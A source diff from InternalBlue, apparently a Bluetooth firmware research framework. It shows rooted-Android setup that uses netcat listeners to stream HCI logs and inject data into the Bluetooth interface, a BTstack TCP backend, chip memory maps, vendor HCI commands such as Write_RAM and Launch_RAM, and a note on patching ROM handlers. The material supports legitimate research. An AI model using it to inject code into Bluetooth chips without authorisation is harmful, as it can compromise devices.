|
||||
# In sending direction, the format is different.
|
||||
self.serial = True
|
||||
|
||||
saved_loglevel = context.log_level
|
||||
context.log_level = "warn"
|
||||
|
||||
try:
|
||||
# check dependencies
|
||||
if adb.which("su") is None:
|
||||
log.critical("su not found, rooted smartphone required!")
|
||||
return False
|
||||
|
||||
if adb.process(["su", "-c", "which", "nc"]).recvall() == "":
|
||||
log.critical("nc not found, install busybox!")
|
||||
return False
|
||||
|
||||
# automatically detect the proper serial device with lsof
|
||||
logfile = (
|
||||
adb.process(
|
||||
["su", "-c", "lsof | grep btsnoop_hci.log | tail -n 1 | awk '{print $NF}'"]
|
||||
)
|
||||
.recvall()
|
||||
.strip()
|
||||
.decode("utf-8")
|
||||
)
|
||||
log.info("Android btsnoop logfile %s...", logfile)
|
||||
interface = (
|
||||
adb.process(
|
||||
["su", "-c", "lsof | grep bluetooth | grep tty | awk '{print $NF}'"]
|
||||
)
|
||||
.recvall()
|
||||
.strip()
|
||||
.decode("utf-8")
|
||||
)
|
||||
log.info("Android Bluetooth interface %s...", interface)
|
||||
|
||||
if logfile == "":
|
||||
log.critical(
|
||||
"Could not find Bluetooth logfile. Enable Bluetooth snoop logging."
|
||||
)
|
||||
return False
|
||||
|
||||
if interface == "":
|
||||
log.critical("Could not find Bluetooth interface. Enable Bluetooth.")
|
||||
return False
|
||||
|
||||
# spawn processes
|
||||
adb.process(["su", "-c", "tail -f -n +0 %s | nc -l -p 8872" % logfile])
|
||||
adb.process(["su", "-c", "nc -l -p 8873 >/sdcard/internalblue_input.bin"])
|
||||
adb.process(
|
||||
["su", "-c", "tail -f /sdcard/internalblue_input.bin >>%s" % interface]
|
||||
)
|
||||
sleep(2)
|
||||
|
||||
except PwnlibException as e:
|
||||
log.warn("Serial scripting setup failed: " + str(e))
|
||||
# check dependencies
|
||||
which_cmd = '''
|
||||
echo $PATH | while read -d: directory; do
|
||||
[ -x "$directory/{name}" ] || continue;
|
||||
echo -n "$directory/{name}\\x00";
|
||||
done
|
||||
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
|
||||
'''.format(name="su")
|
||||
su_path = self.device().shell(f"sh -c '{which_cmd}'")
|
||||
if su_path is None or len(su_path) == 0:
|
||||
self.logger.critical("su not found, rooted smartphone required!")
|
||||
return False
|
||||
finally:
|
||||
context.log_level = saved_loglevel
|
||||
|
||||
if self.device().shell("su -c 'which nc'") == "":
|
||||
self.logger.critical("nc not found, install busybox!")
|
||||
return False
|
||||
|
||||
# automatically detect the proper serial device with lsof
|
||||
logfile = self.device().shell("su -c \"lsof | grep btsnoop_hci.log | tail -n 1\" | awk '{print $NF}'")[:-1]
|
||||
self.logger.info("Android btsnoop logfile %s...", logfile)
|
||||
interface = self.device().shell("su -c \"lsof | grep bluetooth | grep tty\" | awk '{print $NF}'")[:-1]
|
||||
self.logger.info("Android Bluetooth interface %s...", interface)
|
||||
|
||||
if logfile == "":
|
||||
self.logger.critical("Could not find Bluetooth logfile. Enable Bluetooth snoop logging.")
|
||||
return False
|
||||
|
||||
if interface == "":
|
||||
self.logger.critical("Could not find Bluetooth interface. Enable Bluetooth.")
|
||||
return False
|
||||
|
||||
# spawn processes
|
||||
threading.Thread(target=self._spawn, args=(f"su -c \"tail -f -n +0 {logfile} | nc -l -p 8872\"",)).start()
|
||||
threading.Thread(target=self._spawn, args=(f"su -c \"nc -l -p 8873 >/sdcard/internalblue_input.bin\"",)).start()
|
||||
threading.Thread(target=self._spawn, args=(f"su -c \"tail -f /sdcard/internalblue_input.bin >>{interface}\"",)).start()
|
||||
sleep(2)
|
||||
|
||||
return True
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from future import standard_library
|
||||
|
||||
import datetime
|
||||
import time
|
||||
import socket
|
||||
import struct
|
||||
import queue as queue2k
|
||||
|
||||
from . import hci
|
||||
from .core import InternalBlue
|
||||
standard_library.install_aliases()
|
||||
|
||||
# BTstack Daemon defaults
|
||||
BTSTACK_SERVER_HOST = "localhost"
|
||||
BTSTACK_SERVER_TCP_PORT = 13333
|
||||
|
||||
# BTstack defines
|
||||
OGF_BTSTACK = 0x3d
|
||||
BTSTACK_EVENT_STATE = 0x60
|
||||
BTSTACK_EVENT_POWERON_FAILED = 0x62
|
||||
|
||||
class BTstackCore(InternalBlue):
|
||||
global BTSTACK_SERVER_TCP_PORT
|
||||
global BTSTACK_SERVER_HOST
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
tcp_port=BTSTACK_SERVER_TCP_PORT,
|
||||
tcp_host=BTSTACK_SERVER_HOST,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename=None,
|
||||
log_level='info',
|
||||
data_directory=".",
|
||||
replay=False
|
||||
):
|
||||
|
||||
super(BTstackCore, self).__init__(
|
||||
queue_size,
|
||||
btsnooplog_filename,
|
||||
log_level,
|
||||
data_directory,
|
||||
replay
|
||||
)
|
||||
|
||||
self.tcp_port = tcp_port
|
||||
self.tcp_host = tcp_host
|
||||
self.s_inject = None
|
||||
self.serial = False
|
||||
|
||||
def device_list(self):
|
||||
"""
|
||||
Get a list of the connected devices
|
||||
"""
|
||||
|
||||
if self.exit_requested:
|
||||
self.shutdown()
|
||||
|
||||
if self.running:
|
||||
self.logger.warn("Already running. call shutdown() first!")
|
||||
return []
|
||||
|
||||
return ["BTstack Daemon"]
|
||||
|
||||
def _recvPacket(self):
|
||||
# format: packet type, channel, len, payload
|
||||
header = self.s_inject.recv(6)
|
||||
(packet_type, channel, length) = struct.unpack("<HHH", header)
|
||||
payload = self.s_inject.recv(length)
|
||||
return packet_type, channel, length, payload
|
||||
|
||||
def local_connect(self):
|
||||
# Connect to BTstack Daemon via TCP
|
||||
return self._setupSockets()
|
||||
|
||||
def _recvThreadFunc(self):
|
||||
|
||||
"""
|
||||
This is the run-function of the recvThread. It receives HCI packets from the
|
||||
btstack socket.
|
||||
Received HCI packets are being put into the queues inside registeredHciRecvQueues and
|
||||
passed to the callback functions inside registeredHciCallbacks.
|
||||
The thread stops when exit_requested is set to True. It will do that on its own
|
||||
if it encounters a fatal error or the stackDumpReceiver reports that the chip crashed.
|
||||
"""
|
||||
|
||||
self.logger.debug("Receive Thread started.")
|
||||
|
||||
while not self.exit_requested:
|
||||
|
||||
# receive packet
|
||||
(packet_type, channel, length, payload) = self._recvPacket()
|
||||
received_time = datetime.datetime.now()
|
||||
|
||||
# Put relevant info into a tuple. The HCI packet is parsed with the help of hci.py.
|
||||
orig_len = length
|
||||
inc_len = length
|
||||
# flags
|
||||
# - 1 for incoming
|
||||
# - 2 for command/event
|
||||
flags = 1
|
||||
if packet_type == 4:
|
||||
flags |= 2
|
||||
drops = 0
|
||||
record = (hci.parse_hci_packet(bytes([packet_type]) + payload), orig_len, inc_len, flags, drops, received_time)
|
||||
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
for queue, filter_function in self.registeredHciRecvQueues:
|
||||
if filter_function == None or filter_function(record):
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except queue2k.Full:
|
||||
self.logger.warning(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets.."
|
||||
)
|
||||
|
||||
# Call all callback functions inside registeredHciCallbacks and pass the
|
||||
# record as argument.
|
||||
for callback in self.registeredHciCallbacks:
|
||||
callback(record)
|
||||
|
||||
self.logger.debug("Receive Thread terminated.")
|
||||
|
||||
def _setupSockets(self):
|
||||
"""
|
||||
Start the framework by connecting to the BTstack daemon via TCP and tell it to power up
|
||||
"""
|
||||
self.logger.info("Connect to server on %s:%u" % (self.tcp_host, self.tcp_port))
|
||||
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
timeout = time.time() + 3
|
||||
btstack_state = "OFF"
|
||||
|
||||
try:
|
||||
self.s_inject.connect((self.tcp_host, self.tcp_port))
|
||||
|
||||
# send power on
|
||||
power_on = struct.pack("<HBB", (OGF_BTSTACK << 10) | 2, 1, 1)
|
||||
header = struct.pack("<HHH", 1, 0, len(power_on))
|
||||
out = header + power_on
|
||||
self.s_inject.send(out)
|
||||
|
||||
# wait for state working or failed
|
||||
while (not self.exit_requested) and btstack_state == 'OFF':
|
||||
(packet_type, channel, length, payload) = self._recvPacket()
|
||||
if packet_type == 4:
|
||||
if length > 0:
|
||||
if payload[0] == BTSTACK_EVENT_STATE and length == 3 and payload[2] == 2:
|
||||
btstack_state = "WORKING"
|
||||
self.logger.info("BTstack working")
|
||||
if payload[0] == BTSTACK_EVENT_POWERON_FAILED:
|
||||
btstack_state = "FAILED"
|
||||
self.logger.error("BTstack startup failed")
|
||||
|
||||
except socket.error as e:
|
||||
if time.time() > timeout:
|
||||
self.logger.error("[!] Connection error: %s" % e)
|
||||
return False
|
||||
|
||||
connected = btstack_state == "WORKING"
|
||||
return connected
|
||||
|
||||
def _teardownSockets(self):
|
||||
"""
|
||||
Close s_inject sockets.
|
||||
"""
|
||||
|
||||
if self.s_inject is not None:
|
||||
self.s_inject.close()
|
||||
self.s_inject = None
|
||||
return False
|
||||
+1738
-225
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
+276
-250
File diff suppressed because it is too large
Load Diff
+10
-6
@@ -30,7 +30,8 @@ from typing import List
|
||||
|
||||
|
||||
from internalblue import Address
|
||||
from pwn import log
|
||||
|
||||
from internalblue.utils.internalblue_logger import getInternalBlueLogger
|
||||
|
||||
|
||||
class MemorySection(object):
|
||||
@@ -113,9 +114,12 @@ class Firmware(object):
|
||||
|
||||
self.version = version
|
||||
|
||||
# get and store 'InternalBlue' logger
|
||||
logger = getInternalBlueLogger()
|
||||
|
||||
if version:
|
||||
# get LMP Subversion
|
||||
log.info(
|
||||
logger.info(
|
||||
"Chip identifier: 0x%04x (%03d.%03d.%03d)"
|
||||
% (version, version >> 13, (version & 0xF00) >> 8, version & 0xFF)
|
||||
)
|
||||
@@ -128,12 +132,12 @@ class Firmware(object):
|
||||
__name__ + "_" + hex(version) + "_iphone", fromlist=[""]
|
||||
)
|
||||
)
|
||||
log.info("Using fw_" + hex(version) + "_iphone.py")
|
||||
logger.info("Using fw_" + hex(version) + "_iphone.py")
|
||||
else:
|
||||
self.firmware = self._module_to_firmware_definition(
|
||||
__import__(__name__ + "_" + hex(version), fromlist=[""])
|
||||
)
|
||||
log.info("Using fw_" + hex(version) + ".py")
|
||||
logger.info("Using fw_" + hex(version) + ".py")
|
||||
except ImportError:
|
||||
self.firmware = None
|
||||
pass
|
||||
@@ -143,7 +147,7 @@ class Firmware(object):
|
||||
__import__(__name__ + "_default", fromlist=[""])
|
||||
)
|
||||
|
||||
log.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
|
||||
logger.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
|
||||
|
||||
def _module_to_firmware_definition(self, fw: ModuleType) -> FirmwareDefinition:
|
||||
"""
|
||||
@@ -157,7 +161,7 @@ class Firmware(object):
|
||||
for name, cls in fw.__dict__.items()
|
||||
if isinstance(cls, type)
|
||||
and issubclass(cls, FirmwareDefinition)
|
||||
and not cls is FirmwareDefinition
|
||||
and cls is not FirmwareDefinition
|
||||
}
|
||||
|
||||
if len(_types) == 1:
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
# fw_0x420e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
class CYW20820A1(FirmwareDefinition):
|
||||
"""
|
||||
CYW20820 is a Cypress evaluation board, the newest one that is currently available.
|
||||
|
||||
Known issues:
|
||||
|
||||
* `Launch_RAM` does not terminate and crashes the board.
|
||||
|
||||
To get this working anyway:
|
||||
The `Launch_RAM` handler HCI callback is at `0xF2884` and it can be overwritten with the
|
||||
address of the memory snippet you want to launch. For example, at `0x219000` there is some
|
||||
free memory. Put the function there. Then:
|
||||
|
||||
`internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
|
||||
"""
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920820
|
||||
FW_NAME = "CYW20820A1"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(
|
||||
0x00270000, 0x0027FFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00310000, 0x00321FFF, False, True), # HW Regs Cortex M3 (readable)
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
|
||||
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
|
||||
LAUNCH_RAM = 0xF2884
|
||||
HCI_EVENT_COMPLETE = 0x1179E
|
||||
|
||||
# Enable enhanced advertisement reports (bEnhancedAdvReport)
|
||||
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20294C)
|
||||
|
||||
|
||||
Executable
+49
@@ -0,0 +1,49 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x3032.py
|
||||
#
|
||||
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
class BCM4364B3(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# MacBook Pro 2019-2020, UART variant, 11.1
|
||||
FW_NAME = "BCM4364B3"
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x0009FFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00100000, 0x0011FFFF, False, True), # Patches
|
||||
MemorySection(0x00200000, 0x0025FFFF, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00300000, 0x00307FFF, False, True),
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x100000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 128 # 78 slots used on macOS 11.1
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
@@ -195,7 +195,7 @@ class BCM4335C0(FirmwareDefinition):
|
||||
add.w r6, r0, r7, lsl #5
|
||||
ldrb r0, [r6, #0x1f]
|
||||
cmp r0, #1
|
||||
// skip check in conection struct
|
||||
// skip check in connection struct
|
||||
ldrb r0, [r4, #0xc] // ptr_to_opcode = buffer_cpy + 12;
|
||||
lsrs r1, r0, #1 // buffer_cpy[12] >> 1
|
||||
add.w r0, r4, #0x0c
|
||||
@@ -203,7 +203,7 @@ class BCM4335C0(FirmwareDefinition):
|
||||
// enable for debugging: ignore the remaining code and continue like normal opcode
|
||||
//b 0xF870
|
||||
|
||||
// now we regularily would call the opcode conversion table function
|
||||
// now we regularly would call the opcode conversion table function
|
||||
// however, we do not use lm_getLmpInfoType_3F2D8 but insert our own table here
|
||||
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
|
||||
ldr r0, =table_entry
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
# fw_0x6308.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2021 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class BCM4378B1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# iPhone 12
|
||||
FW_NAME = "BCM4387C2"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
# TODO hardware registers not contained in here yet
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x0016FFFF, True, False), # Internal ROM
|
||||
MemorySection(
|
||||
0x001A0000, 0x001DFFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200000, 0x0026FFFF, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(
|
||||
0x00270000, 0x002C7FFF, False, True
|
||||
), # Internal Memory Patchram Contents, Part 2
|
||||
]
|
||||
|
||||
|
||||
# Patchram, relocated since a loooong time :D
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x360000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x360404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x1A0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
# iPhone 12: there are two patchram regions, one at 0x1a0000 and one at 0x295000,
|
||||
# also starting with a target table address, and `info patchram` seems to
|
||||
# map these correctly.
|
||||
+78
-50
@@ -26,25 +26,16 @@
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from builtins import hex
|
||||
from builtins import range
|
||||
from builtins import object
|
||||
from enum import Enum
|
||||
from datetime import datetime
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import (
|
||||
p8,
|
||||
u16,
|
||||
p16,
|
||||
unbits,
|
||||
bits_str,
|
||||
u8,
|
||||
bits,
|
||||
p32,
|
||||
u32,
|
||||
)
|
||||
from internalblue.utils.pwnlib_wrapper import log
|
||||
from pwnlib.util.packing import flat
|
||||
from builtins import hex
|
||||
from builtins import object
|
||||
from builtins import range
|
||||
from datetime import datetime
|
||||
from enum import Enum
|
||||
|
||||
from internalblue.utils import flat
|
||||
from internalblue.utils.internalblue_logger import getInternalBlueLogger
|
||||
from internalblue.utils.packing import p8, u8, p16, u16, p32, u32, bits, unbits, bits_str
|
||||
|
||||
|
||||
class HCI_COMND(Enum):
|
||||
@@ -195,7 +186,7 @@ class HCI_COMND(Enum):
|
||||
Read_LE_Host_Support = 0xC6C
|
||||
Write_LE_Host_Support = 0xC6D
|
||||
Set_MWS_Channel_Parameters = 0xC6E
|
||||
Set_External_Frame_Configuration = 0xC6F
|
||||
#Set_External_Frame_Configuration = 0xC6F #TODO
|
||||
Set_MWS_Signaling = 0xC70
|
||||
Set_MWS_Transport_Layer = 0xC71
|
||||
Set_MWS_Scan_Frequency_Table = 0xC72
|
||||
@@ -274,11 +265,11 @@ class HCI_COMND(Enum):
|
||||
LE_Test_End = 0x201F
|
||||
LE_Remote_Connection_Parameter_Request_Reply = 0x2020
|
||||
LE_Remote_Connection_Parameter_Request_Negative_Reply = 0x2021
|
||||
VSC_CustomerExtension = 0xFC00
|
||||
VSC_CustomerExtension_or_GetPowerConsumption = 0xFC00
|
||||
VSC_WriteBdAddr = 0xFC01
|
||||
VSC_DumpSRAM = 0xFC02
|
||||
VSC_ChannelClassConfig = 0xFC03
|
||||
VSC_READ_PAGE_SCAN_REPETITION_MODE = 0xFC04
|
||||
#VSC_READ_PAGE_SCAN_REPETITION_MODE = 0xFC04
|
||||
VSC_WRITE_PAGE_SCAN_REPETITION_MODE = 0xFC05
|
||||
VSC_READ_PAGE_RESPONSE_TIMEOUT = 0xFC06
|
||||
VSC_WRITE_PAGE_RESPONSE_TIMEOUT = 0xFC07
|
||||
@@ -338,7 +329,8 @@ class HCI_COMND(Enum):
|
||||
VSC_ReadRawRssi = 0xFC48
|
||||
# VSC_ChannelClassConfig = 0XFC49
|
||||
VSC_Write_RAM = 0xFC4C
|
||||
VSC_Read_RAM = 0xFC4D
|
||||
#VSC_Write_RAM = 0xC6F
|
||||
VSC_Read_RAM = 0xFC4D #TODO
|
||||
VSC_Launch_RAM = 0xFC4E
|
||||
VSC_InstallPatches = 0xFC4F
|
||||
VSC_RadioTxTest = 0xFC51
|
||||
@@ -494,12 +486,16 @@ class HCI_COMND(Enum):
|
||||
VSC_PiconetClockAdjustment = 0xFD29
|
||||
VSC_ReadRetransmissionStatus = 0xFD2A
|
||||
VSC_SetTransmitPowerRange = 0xFD2F
|
||||
VSC_CountryCodeSelect = 0xFD31
|
||||
VSC_CellOnOffDebug = 0xFD32
|
||||
VSC_PageInquiryTxSuppression = 0xFD33
|
||||
VSC_RandomizeNativeClock = 0xFD35
|
||||
VSC_StoreFactoryCalibrationData = 0xFD36
|
||||
VSC_ReadSupportedVSCs = 0xFD3B
|
||||
VSC_LEWriteLocalSupportedFeatures = 0xFD3C
|
||||
VSC_LEReadRemoteSupportedBRCMFeatures = 0xFD3E
|
||||
VSC_LECreateExtendedAdvertiseInstance = 0xFD3A
|
||||
VSC_LERemoveExtendedAdvertiseInstance = 0xFD3B
|
||||
VSC_LEWriteLocalSupportedFeatures = 0xFD3C # or LE Set Extended Advertising Parameters
|
||||
VSC_LEReadRemoteSupportedBRCMFeatures = 0xFD3E # or LE Set Extended Scan Response Data
|
||||
VSC_BcsTimeline = 0xFD40
|
||||
VSC_BcsTimelineBroadcastReceive = 0xFD41
|
||||
VSC_ReadDynamicMemoryPoolStatistics = 0xFD42
|
||||
@@ -526,27 +522,56 @@ class HCI_COMND(Enum):
|
||||
VSC_SetSpecialSniffTransitionEnable = 0xFD71
|
||||
VSC_EnableBTSync = 0xFD73
|
||||
VSC_hciulp_handleBTBLEHighPowerControl = 0xFD79
|
||||
VSC_MaskedTracesDebug = 0xFD7D
|
||||
VSC_HandleCustomerEnableHALinkCommands = 0xFD7C
|
||||
VSC_DWPTestCommands = 0xFD7D
|
||||
VSC_DWPTestCommands = 0xFD7D # or Write Number of Completed Packets
|
||||
VSC_Olympic_LTE_Settings = 0xFD7F
|
||||
VSC_PowerLdoDuringSleep = 0xFD81
|
||||
VSC_WriteLERemotePublicAddress = 0xFD82
|
||||
VSC_1SecondTimerCommands = 0xFD86
|
||||
VSC_ForceWLANChannel = 0xFD88
|
||||
VSC_DisableTPC = 0xFD89
|
||||
VSC_GizmoDetected = 0xFD8A
|
||||
VSC_SVTConfigSetup = 0xFD8B
|
||||
VSC_HandleCustomerReadHADeltaCommands = 0xFD8F
|
||||
VSC_SetupRSSCommands = 0xFD9A
|
||||
VSC_SetUartAutoResume = 0xFD9B
|
||||
VSC_SetupRSSLocalCommands = 0xFD9C
|
||||
VSC_WriteLocalHostStateLE = 0xFDA0
|
||||
VSC_AudioBufferCommands = 0xFDA1
|
||||
VSC_HealthStatusReport = 0xFDA4
|
||||
VSC_ChangeConnectionPriority = 0xFDA8
|
||||
VSC_SamSetupCommand = 0xFDAA
|
||||
VSC_bthci_cmd_ble_enhancedTransmitterTest_hopping = 0xFDAB
|
||||
VSC_Handle_coex_debug_counters = 0xFDAF
|
||||
VSC_Read_Inquiry_Transmit_Power = 0xFDBB
|
||||
VSC_Enable_PADGC_Override = 0xFDBE
|
||||
VSC_CoExDebugCounters = 0xFDAF
|
||||
VSC_LEClearAllMatchingRules = 0xFDB2
|
||||
VSC_HighPowerBluetoothClassic = 0xFDB3
|
||||
VSC_HP_EDRv2 = 0xFCB9
|
||||
VSC_Read_Inquiry_Transmit_Power = 0xFDBB # or LE Remove Zone
|
||||
VSC_LEWriteFilteringFeatureSet = 0xFDBD
|
||||
VSC_Enable_PADGC_Override = 0xFDBE # or LE Enable Asymmetric Latency
|
||||
VSC_WriteTxPowerAFHMode = 0xFDCB
|
||||
VSC_LeConfigureScanParameters = 0xFDC0
|
||||
VSC_LePrioritizationThreshold = 0xFDC1
|
||||
VSC_setMinimumNumberOfUsedChannels = 0xFDCD
|
||||
VSC_HandleBrEdrLinkQualityStats = 0xFDCE
|
||||
VSC_SetHostAssistedAfhMaps = 0xFDD1
|
||||
VSC_SetLighthouseParameters = 0xFDD2
|
||||
VSC_LighthouseControl = 0xFDD3
|
||||
VSC_LighthouseDebugQuery = 0xFDD4
|
||||
VSC_ReadLocalFeatures = 0xFDDA
|
||||
VSC_HdrChangeConnectionPacketType = 0xFDDB
|
||||
VSC_HdrSetupSynchronousConnection = 0xFDDC
|
||||
VSC_EnhancedLinkQuelityStats = 0xFDDD
|
||||
VSC_EnableHostAssistedAfhMapsDiversity = 0xFDDE
|
||||
VSC_Diag = 0xFDEA
|
||||
VSC_EnhancedPowerStats = 0xFDF0
|
||||
VSC_HdrControl = 0xFDFD
|
||||
VSC_HdrConfiguration = 0xFDFE
|
||||
VSC_MagnetStatisticControl = 0xFE00
|
||||
VSC_HdrAcceptSynchronousConnection = 0xFE04
|
||||
VSC_EpaGpioCommand = 0xFE08
|
||||
VSC_ReadProprietaryRemoteFeatures = 0xFE0A
|
||||
VSC_SectorErase = 0xFF5E
|
||||
VSC_Chip_Erase = 0xFFCE
|
||||
VSC_EnterDownloadMode = 0xFFED
|
||||
@@ -879,7 +904,7 @@ class HCI_Event(HCI):
|
||||
if code_int in d:
|
||||
return d[code_int]
|
||||
|
||||
log.warning("Hci event not found: %s" % code)
|
||||
getInternalBlueLogger().warning("Hci event not found: %s" % code)
|
||||
|
||||
return False
|
||||
|
||||
@@ -930,10 +955,11 @@ def parse_hci_packet(data):
|
||||
class StackDumpReceiver(object):
|
||||
memdump_addr = None
|
||||
memdumps = {}
|
||||
stack_dump_has_happend = False
|
||||
stack_dump_has_happened = False
|
||||
|
||||
def __init__(self, data_directory="."):
|
||||
self.data_directory = data_directory
|
||||
self.logger = getInternalBlueLogger()
|
||||
self.stack_dump_filename = data_directory + ("/internalblue_stackdump_%s.bin" % datetime.now())
|
||||
|
||||
def recvPacket(self, record):
|
||||
@@ -969,14 +995,14 @@ class StackDumpReceiver(object):
|
||||
if self.memdump_addr is None:
|
||||
self.memdump_addr = addr
|
||||
self.memdumps[addr - self.memdump_addr] = bytes(data[4:]) # convert from bytearray to bytes
|
||||
log.debug("Stack dump handling addr %08x", addr - self.memdump_addr)
|
||||
self.logger.debug("Stack dump handling addr %08x", addr - self.memdump_addr)
|
||||
|
||||
def finishStackDump(self):
|
||||
"""
|
||||
Write the stack dump to a file once it is finished.
|
||||
"""
|
||||
dump = flat(self.memdumps) # flatten, as we have one entry per address chunk
|
||||
log.warn(
|
||||
dump = flat(self.memdumps, filler=0) # flatten, as we have one entry per address chunk
|
||||
self.logger.warning(
|
||||
"Stack dump @0x%08x written to %s!"
|
||||
% (self.memdump_addr, self.stack_dump_filename)
|
||||
)
|
||||
@@ -984,8 +1010,10 @@ class StackDumpReceiver(object):
|
||||
f.write(dump)
|
||||
f.close()
|
||||
|
||||
self.stack_dump_filename = self.stack_dump_filename + '-dup' # might be called twice
|
||||
|
||||
# Shut down:
|
||||
self.stack_dump_has_happend = True
|
||||
self.stack_dump_has_happened = True
|
||||
|
||||
def handleNexus5StackDump(self, hcipkt):
|
||||
checksum_correct = self.verifyChecksum(hcipkt.data[5:])
|
||||
@@ -994,7 +1022,7 @@ class StackDumpReceiver(object):
|
||||
if packet_type == 0x2C:
|
||||
